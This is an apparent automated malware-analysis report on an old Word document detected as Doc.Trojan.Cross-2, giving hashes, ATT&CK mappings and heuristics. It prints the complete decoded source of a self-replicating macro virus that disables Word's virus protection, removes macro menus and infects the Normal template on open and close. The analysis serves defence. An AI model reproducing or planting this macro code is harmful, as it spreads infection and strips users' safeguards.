Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a47135462ae05ae1…

MALICIOUS

Office (OLE)

29.0 KB Created: 1998-04-18 20:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4f96c2e1a106e288d144509795d3e377 SHA-1: f80bfdbac82289801d30309f464ab78ad9b8c316 SHA-256: a47135462ae05ae1ec621ad9d00cb11e6a4b52baa7422e4b3cc8a4716e3d975d
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically AutoOpen, AutoClose, AutoExit, and AutoExec, which are commonly used to execute malicious code upon document interaction. The script attempts to export and import VBA components, suggesting an attempt to install or update a malicious component, potentially for persistence. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Cross-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cross-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1455 bytes
SHA-256: 4ccf203b69ddcf3981860a646db3c02c77eabfe1c04964cac4e95a55facc2ef9
Detection
ClamAV: Doc.Trojan.Cross-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "X"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
Application.VBE.ActiveVBProject.VBComponents("X").Export "c:\X.VIC"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "X" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "X" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set SexR = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set SexR = ActiveDocument.VBProject
With SexR
With .VBComponents.Import("c:\X.VIC")
End With
End With
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
' seXr-1.Poppy (Fast, Small, Full Stealth and SR-1 Compatable)
' by VicodinES
End Sub
Sub AutoClose()
Call AutoOpen
End Sub
Sub AutoExit()
Call AutoOpen
End Sub
Sub AutoExec()
Call AutoOpen
End Sub

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